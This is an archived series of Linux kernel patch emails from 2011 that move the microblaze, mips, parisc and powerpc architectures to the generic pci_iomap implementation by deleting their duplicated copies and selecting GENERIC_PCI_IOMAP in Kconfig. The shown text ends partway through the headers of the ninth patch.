Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.uclinux.microblaze,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.pci
Subject: [PATCH-RFC 05/10] microblaze: switch to GENERIC_PCI_IOMAP
Date: Thu, 24 Nov 2011 22:18:08 +0200
Lines: 62
Approved: news@gmane.org
Message-ID: <dd85307a3ebcd0ce5870ca31cbe7b286621ab091.1322163031.git.mst@redhat.com>
References: <cover.1322163031.git.mst@redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1322165901 5309 80.91.229.12 (24 Nov 2011 20:18:21 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 24 Nov 2011 20:18:21 +0000 (UTC)
Cc: Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Russell King <linux@arm.linux.org.uk>,
        Mikael Starvik <starvik@axis.com>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Richard Kuo <rkuo@codeaurora.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        Jonas Bonn <jonas@southpole.se>,
        Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Chen Liqin <liqin.chen@sunplusct.com>,
        Lennox Wu <lennox.wu@gmail.com>,
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-mips-bounce@linux-mips.org Thu Nov 24 21:18:06 2011
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182] helo=cvs.linux-mips.org)
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1RTfkD-0000wQ-LI
	for sgi-linux-mips@gmane.org; Thu, 24 Nov 2011 21:18:05 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:51216 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S1904620Ab1KXUSE (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Thu, 24 Nov 2011 21:18:04 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 24 Nov 2011 21:17:47 +0100 (CET)
Original-Received: from mx1.redhat.com ([209.132.183.28]:21393 "EHLO mx1.redhat.com"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S1904618Ab1KXURU (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Thu, 24 Nov 2011 21:17:20 +0100
Original-Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23])
        by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id pAOKGjET002586
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
        Thu, 24 Nov 2011 15:16:46 -0500
Original-Received: from redhat.com (vpn1-7-27.ams2.redhat.com [10.36.7.27])
        by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with SMTP id pAOKGTil005321;
        Thu, 24 Nov 2011 15:16:30 -0500
Content-Disposition: inline
In-Reply-To: <cover.1322163031.git.mst@redhat.com>
X-Mutt-Fcc: =sent
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23
X-archive-position: 31983
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: mst@redhat.com
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:33084 gmane.linux.ports.alpha:1586 gmane.linux.kernel:1220299 gmane.linux.ports.arm.kernel:141512 gmane.linux.ports.hexagon:334 gmane.linux.ports.ia64:21889 gmane.linux.ports.m68k:3023 gmane.linux.uclinux.microblaze:11666 gmane.linux.ports.parisc:4032 gmane.linux.ports.ppc64.devel:78454 gmane.linux.ports.sh.devel:12862 gmane.linux.ports.sparc:15507 gmane.linux.kernel.cross-arch:11550 gmane.linux.kernel.pci:12697
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/33084>

microblaze copied pci_iomap from generic code, probably to avoid
pulling the rest of iomap.c in.  Since that's in
a separate file now, we can reuse the common implementation.

The only difference is handling of nocache flag,
that turns out to be done correctly by the
generic code since arch/microblaze/include/asm/io.h
defines ioremap_nocache same as ioremap.

Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
---
 arch/microblaze/Kconfig     |    1 +
 arch/microblaze/pci/iomap.c |   19 -------------------
 2 files changed, 1 insertions(+), 19 deletions(-)

diff --git a/arch/microblaze/Kconfig b/arch/microblaze/Kconfig
index e446bab..f0eead7 100644
--- a/arch/microblaze/Kconfig
+++ b/arch/microblaze/Kconfig
@@ -17,6 +17,7 @@ config MICROBLAZE
 	select HAVE_GENERIC_HARDIRQS
 	select GENERIC_IRQ_PROBE
 	select GENERIC_IRQ_SHOW
+	select GENERIC_PCI_IOMAP
 
 config SWAP
 	def_bool n
diff --git a/arch/microblaze/pci/iomap.c b/arch/microblaze/pci/iomap.c
index 57acda8..b07abba 100644
--- a/arch/microblaze/pci/iomap.c
+++ b/arch/microblaze/pci/iomap.c
@@ -10,25 +10,6 @@
 #include <asm/io.h>
 #include <asm/pci-bridge.h>
 
-void __iomem *pci_iomap(struct pci_dev *dev, int bar, unsigned long max)
-{
-	resource_size_t start = pci_resource_start(dev, bar);
-	resource_size_t len = pci_resource_len(dev, bar);
-	unsigned long flags = pci_resource_flags(dev, bar);
-
-	if (!len)
-		return NULL;
-	if (max && len > max)
-		len = max;
-	if (flags & IORESOURCE_IO)
-		return ioport_map(start, len);
-	if (flags & IORESOURCE_MEM)
-		return ioremap(start, len);
-	/* What? */
-	return NULL;
-}
-EXPORT_SYMBOL(pci_iomap);
-
 void pci_iounmap(struct pci_dev *dev, void __iomem *addr)
 {
 	if (isa_vaddr_is_ioport(addr))
-- 
1.7.5.53.gc233e




From - Thu Nov 08 21:07:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Tsirkin" <mst@redhat.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.uclinux.microblaze,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.pci
Subject: [PATCH-RFC 06/10] mips: switch to GENERIC_PCI_IOMAP
Date: Thu, 24 Nov 2011 22:18:37 +0200
Lines: 64
Approved: news@gmane.org
Message-ID: <66457f7750d7d14229fcf8d0b011aba63185a75d.1322163031.git.mst@redhat.com>
References: <cover.1322163031.git.mst@redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1322165929 5436 80.91.229.12 (24 Nov 2011 20:18:49 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 24 Nov 2011 20:18:49 +0000 (UTC)
Cc: Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Russell King <linux@arm.linux.org.uk>,
        Mikael Starvik <starvik@axis.com>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Richard Kuo <rkuo@codeaurora.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        Jonas Bonn <jonas@southpole.se>,
        Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Chen Liqin <liqin.chen@sunplusct.com>,
        Lennox Wu <lennox.wu@gmail.com>,
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-mips-bounce@linux-mips.org Thu Nov 24 21:18:33 2011
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182] helo=cvs.linux-mips.org)
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1RTfkd-0000wQ-E1
	for sgi-linux-mips@gmane.org; Thu, 24 Nov 2011 21:18:31 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:51228 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S1904617Ab1KXUSa (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Thu, 24 Nov 2011 21:18:30 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 24 Nov 2011 21:18:13 +0100 (CET)
Original-Received: from mx1.redhat.com ([209.132.183.28]:62566 "EHLO mx1.redhat.com"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S1904622Ab1KXURw (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Thu, 24 Nov 2011 21:17:52 +0100
Original-Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25])
        by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id pAOKHDiD002631
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
        Thu, 24 Nov 2011 15:17:13 -0500
Original-Received: from redhat.com (vpn1-7-27.ams2.redhat.com [10.36.7.27])
        by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with SMTP id pAOKGvr5016608;
        Thu, 24 Nov 2011 15:16:58 -0500
Content-Disposition: inline
In-Reply-To: <cover.1322163031.git.mst@redhat.com>
X-Mutt-Fcc: =sent
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25
X-archive-position: 31984
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: mst@redhat.com
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:33085 gmane.linux.ports.alpha:1587 gmane.linux.kernel:1220300 gmane.linux.ports.arm.kernel:141513 gmane.linux.ports.hexagon:335 gmane.linux.ports.ia64:21890 gmane.linux.ports.m68k:3024 gmane.linux.uclinux.microblaze:11667 gmane.linux.ports.parisc:4033 gmane.linux.ports.ppc64.devel:78455 gmane.linux.ports.sh.devel:12863 gmane.linux.ports.sparc:15508 gmane.linux.kernel.cross-arch:11551 gmane.linux.kernel.pci:12698
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/33085>

mips copied pci_iomap from generic code, probably to avoid
pulling the rest of iomap.c in.  Since that's in
a separate file now, we can reuse the common implementation.

Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
---
 arch/mips/Kconfig         |    1 +
 arch/mips/lib/iomap-pci.c |   26 --------------------------
 2 files changed, 1 insertions(+), 26 deletions(-)

diff --git a/arch/mips/Kconfig b/arch/mips/Kconfig
index d46f1da..b70c96f 100644
--- a/arch/mips/Kconfig
+++ b/arch/mips/Kconfig
@@ -2317,6 +2317,7 @@ config PCI
 	bool "Support for PCI controller"
 	depends on HW_HAS_PCI
 	select PCI_DOMAINS
+	select GENERIC_PCI_IOMAP
 	help
 	  Find out whether you have a PCI motherboard. PCI is the name of a
 	  bus system, i.e. the way the CPU talks to the other stuff inside
diff --git a/arch/mips/lib/iomap-pci.c b/arch/mips/lib/iomap-pci.c
index 2ab899c..2635b1a 100644
--- a/arch/mips/lib/iomap-pci.c
+++ b/arch/mips/lib/iomap-pci.c
@@ -40,32 +40,6 @@ static void __iomem *ioport_map_pci(struct pci_dev *dev,
 	return (void __iomem *) (ctrl->io_map_base + port);
 }
 
-/*
- * Create a virtual mapping cookie for a PCI BAR (memory or IO)
- */
-void __iomem *pci_iomap(struct pci_dev *dev, int bar, unsigned long maxlen)
-{
-	resource_size_t start = pci_resource_start(dev, bar);
-	resource_size_t len = pci_resource_len(dev, bar);
-	unsigned long flags = pci_resource_flags(dev, bar);
-
-	if (!len || !start)
-		return NULL;
-	if (maxlen && len > maxlen)
-		len = maxlen;
-	if (flags & IORESOURCE_IO)
-		return ioport_map_pci(dev, start, len);
-	if (flags & IORESOURCE_MEM) {
-		if (flags & IORESOURCE_CACHEABLE)
-			return ioremap(start, len);
-		return ioremap_nocache(start, len);
-	}
-	/* What? */
-	return NULL;
-}
-
-EXPORT_SYMBOL(pci_iomap);
-
 void pci_iounmap(struct pci_dev *dev, void __iomem * addr)
 {
 	iounmap(addr);
-- 
1.7.5.53.gc233e




From - Thu Nov 08 21:07:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Tsirkin" <mst@redhat.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.uclinux.microblaze,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.pci
Subject: [PATCH-RFC 07/10] parisc: switch to GENERIC_PCI_IOMAP
Date: Thu, 24 Nov 2011 22:19:34 +0200
Lines: 66
Approved: news@gmane.org
Message-ID: <9dab609cdf0c22a35f58b0f821a10230a487480d.1322163031.git.mst@redhat.com>
References: <cover.1322163031.git.mst@redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1322165966 5725 80.91.229.12 (24 Nov 2011 20:19:26 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 24 Nov 2011 20:19:26 +0000 (UTC)
Cc: Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Russell King <linux@arm.linux.org.uk>,
        Mikael Starvik <starvik@axis.com>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Richard Kuo <rkuo@codeaurora.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        Jonas Bonn <jonas@southpole.se>,
        Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Chen Liqin <liqin.chen@sunplusct.com>,
        Lennox Wu <lennox.wu@gmail.com>,
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-mips-bounce@linux-mips.org Thu Nov 24 21:19:10 2011
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182] helo=cvs.linux-mips.org)
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1RTflF-0000wQ-QO
	for sgi-linux-mips@gmane.org; Thu, 24 Nov 2011 21:19:09 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:51242 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S1904624Ab1KXUTI (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Thu, 24 Nov 2011 21:19:08 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 24 Nov 2011 21:18:51 +0100 (CET)
Original-Received: from mx1.redhat.com ([209.132.183.28]:35732 "EHLO mx1.redhat.com"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S1904618Ab1KXUSn (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Thu, 24 Nov 2011 21:18:43 +0100
Original-Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23])
        by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id pAOKIA0D002751
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
        Thu, 24 Nov 2011 15:18:10 -0500
Original-Received: from redhat.com (vpn1-7-27.ams2.redhat.com [10.36.7.27])
        by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with SMTP id pAOKHsC0005454;
        Thu, 24 Nov 2011 15:17:55 -0500
Content-Disposition: inline
In-Reply-To: <cover.1322163031.git.mst@redhat.com>
X-Mutt-Fcc: =sent
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23
X-archive-position: 31985
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: mst@redhat.com
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:33086 gmane.linux.ports.alpha:1588 gmane.linux.kernel:1220301 gmane.linux.ports.arm.kernel:141514 gmane.linux.ports.hexagon:336 gmane.linux.ports.ia64:21891 gmane.linux.ports.m68k:3025 gmane.linux.uclinux.microblaze:11668 gmane.linux.ports.parisc:4034 gmane.linux.ports.ppc64.devel:78456 gmane.linux.ports.sh.devel:12864 gmane.linux.ports.sparc:15509 gmane.linux.kernel.cross-arch:11552 gmane.linux.kernel.pci:12699
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/33086>

parisc copied pci_iomap from generic code, probably to avoid
pulling the rest of iomap.c in.  Since that's in
a separate file now, we can reuse the common implementation.

Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
---
 arch/parisc/Kconfig     |    1 +
 arch/parisc/lib/iomap.c |   23 -----------------------
 2 files changed, 1 insertions(+), 23 deletions(-)

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index fdfd8be..242a1b7 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -14,6 +14,7 @@ config PARISC
 	select GENERIC_ATOMIC64 if !64BIT
 	select HAVE_GENERIC_HARDIRQS
 	select GENERIC_IRQ_PROBE
+	select GENERIC_PCI_IOMAP
 	select IRQ_PER_CPU
 	select ARCH_HAVE_NMI_SAFE_CMPXCHG
 
diff --git a/arch/parisc/lib/iomap.c b/arch/parisc/lib/iomap.c
index 8f470c9..fb8e10a 100644
--- a/arch/parisc/lib/iomap.c
+++ b/arch/parisc/lib/iomap.c
@@ -436,28 +436,6 @@ void ioport_unmap(void __iomem *addr)
 	}
 }
 
-/* Create a virtual mapping cookie for a PCI BAR (memory or IO) */
-void __iomem *pci_iomap(struct pci_dev *dev, int bar, unsigned long maxlen)
-{
-	resource_size_t start = pci_resource_start(dev, bar);
-	resource_size_t len = pci_resource_len(dev, bar);
-	unsigned long flags = pci_resource_flags(dev, bar);
-
-	if (!len || !start)
-		return NULL;
-	if (maxlen && len > maxlen)
-		len = maxlen;
-	if (flags & IORESOURCE_IO)
-		return ioport_map(start, len);
-	if (flags & IORESOURCE_MEM) {
-		if (flags & IORESOURCE_CACHEABLE)
-			return ioremap(start, len);
-		return ioremap_nocache(start, len);
-	}
-	/* What? */
-	return NULL;
-}
-
 void pci_iounmap(struct pci_dev *dev, void __iomem * addr)
 {
 	if (!INDIRECT_ADDR(addr)) {
@@ -483,5 +461,4 @@ EXPORT_SYMBOL(iowrite16_rep);
 EXPORT_SYMBOL(iowrite32_rep);
 EXPORT_SYMBOL(ioport_map);
 EXPORT_SYMBOL(ioport_unmap);
-EXPORT_SYMBOL(pci_iomap);
 EXPORT_SYMBOL(pci_iounmap);
-- 
1.7.5.53.gc233e




From - Thu Nov 08 21:07:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Tsirkin" <mst@redhat.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.uclinux.microblaze,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.pci
Subject: [PATCH-RFC 08/10] powerpc: switch to GENERIC_PCI_IOMAP
Date: Thu, 24 Nov 2011 22:19:54 +0200
Lines: 68
Approved: news@gmane.org
Message-ID: <54aba7d0694e98b9103ca278486485598086b2be.1322163031.git.mst@redhat.com>
References: <cover.1322163031.git.mst@redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1322165992 5903 80.91.229.12 (24 Nov 2011 20:19:52 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 24 Nov 2011 20:19:52 +0000 (UTC)
Cc: Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Russell King <linux@arm.linux.org.uk>,
        Mikael Starvik <starvik@axis.com>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Richard Kuo <rkuo@codeaurora.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        Jonas Bonn <jonas@southpole.se>,
        Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Chen Liqin <liqin.chen@sunplusct.com>,
        Lennox Wu <lennox.wu@gmail.com>,
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-mips-bounce@linux-mips.org Thu Nov 24 21:19:36 2011
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182] helo=cvs.linux-mips.org)
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1RTflf-0000wQ-HF
	for sgi-linux-mips@gmane.org; Thu, 24 Nov 2011 21:19:35 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:51265 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S1904618Ab1KXUTe (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Thu, 24 Nov 2011 21:19:34 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 24 Nov 2011 21:19:17 +0100 (CET)
Original-Received: from mx1.redhat.com ([209.132.183.28]:37312 "EHLO mx1.redhat.com"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S1904616Ab1KXUTE (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Thu, 24 Nov 2011 21:19:04 +0100
Original-Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12])
        by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id pAOKIVdb002798
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
        Thu, 24 Nov 2011 15:18:31 -0500
Original-Received: from redhat.com (vpn1-7-27.ams2.redhat.com [10.36.7.27])
        by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with SMTP id pAOKIFqf007679;
        Thu, 24 Nov 2011 15:18:16 -0500
Content-Disposition: inline
In-Reply-To: <cover.1322163031.git.mst@redhat.com>
X-Mutt-Fcc: =sent
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12
X-archive-position: 31986
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: mst@redhat.com
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:33087 gmane.linux.ports.alpha:1589 gmane.linux.kernel:1220302 gmane.linux.ports.arm.kernel:141515 gmane.linux.ports.hexagon:337 gmane.linux.ports.ia64:21892 gmane.linux.ports.m68k:3026 gmane.linux.uclinux.microblaze:11669 gmane.linux.ports.parisc:4035 gmane.linux.ports.ppc64.devel:78457 gmane.linux.ports.sh.devel:12865 gmane.linux.ports.sparc:15510 gmane.linux.kernel.cross-arch:11553 gmane.linux.kernel.pci:12700
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/33087>

powerpc copied pci_iomap from generic code, probably to avoid
pulling the rest of iomap.c in.  Since that's in
a separate file now, we can reuse the common implementation.

The only difference is handling of nocache flag,
that turns out to be done correctly by the
generic code since arch/powerpc/include/asm/io.h
defines ioremap_nocache same as ioremap.

Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
---
 arch/powerpc/Kconfig        |    1 +
 arch/powerpc/kernel/iomap.c |   19 -------------------
 2 files changed, 1 insertions(+), 19 deletions(-)

diff --git a/arch/powerpc/Kconfig b/arch/powerpc/Kconfig
index 951e18f..6ffe3df 100644
--- a/arch/powerpc/Kconfig
+++ b/arch/powerpc/Kconfig
@@ -710,6 +710,7 @@ config PCI
 	default PCI_PERMEDIA if !4xx && !CPM2 && !8xx
 	default PCI_QSPAN if !4xx && !CPM2 && 8xx
 	select ARCH_SUPPORTS_MSI
+	select GENERIC_PCI_IOMAP
 	help
 	  Find out whether your system includes a PCI bus. PCI is the name of
 	  a bus system, i.e. the way the CPU talks to the other stuff inside
diff --git a/arch/powerpc/kernel/iomap.c b/arch/powerpc/kernel/iomap.c
index 2627918..97a3715 100644
--- a/arch/powerpc/kernel/iomap.c
+++ b/arch/powerpc/kernel/iomap.c
@@ -119,24 +119,6 @@ EXPORT_SYMBOL(ioport_map);
 EXPORT_SYMBOL(ioport_unmap);
 
 #ifdef CONFIG_PCI
-void __iomem *pci_iomap(struct pci_dev *dev, int bar, unsigned long max)
-{
-	resource_size_t start = pci_resource_start(dev, bar);
-	resource_size_t len = pci_resource_len(dev, bar);
-	unsigned long flags = pci_resource_flags(dev, bar);
-
-	if (!len)
-		return NULL;
-	if (max && len > max)
-		len = max;
-	if (flags & IORESOURCE_IO)
-		return ioport_map(start, len);
-	if (flags & IORESOURCE_MEM)
-		return ioremap(start, len);
-	/* What? */
-	return NULL;
-}
-
 void pci_iounmap(struct pci_dev *dev, void __iomem *addr)
 {
 	if (isa_vaddr_is_ioport(addr))
@@ -146,6 +128,5 @@ void pci_iounmap(struct pci_dev *dev, void __iomem *addr)
 	iounmap(addr);
 }
 
-EXPORT_SYMBOL(pci_iomap);
 EXPORT_SYMBOL(pci_iounmap);
 #endif /* CONFIG_PCI */
-- 
1.7.5.53.gc233e




From - Thu Nov 08 21:07:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Tsirkin" <mst@redhat.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.uclinux.microblaze,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.pci
Subject: [PATCH-RFC 09/10] sh: switch to GENERIC_PCI_IOMAP
Date: Thu, 24 Nov 2011 22:20:37 +0200
Lines: 61
Approved: news@gmane.org
Message-ID: <28d52b292971f1bc6dab66ad6f27a0dbce35a9c0.1322163031.git.mst@redhat.com>
References: <cover.1322163031.git.mst@redhat.com>
NNTP-Posting-Host: lo.gmane.org
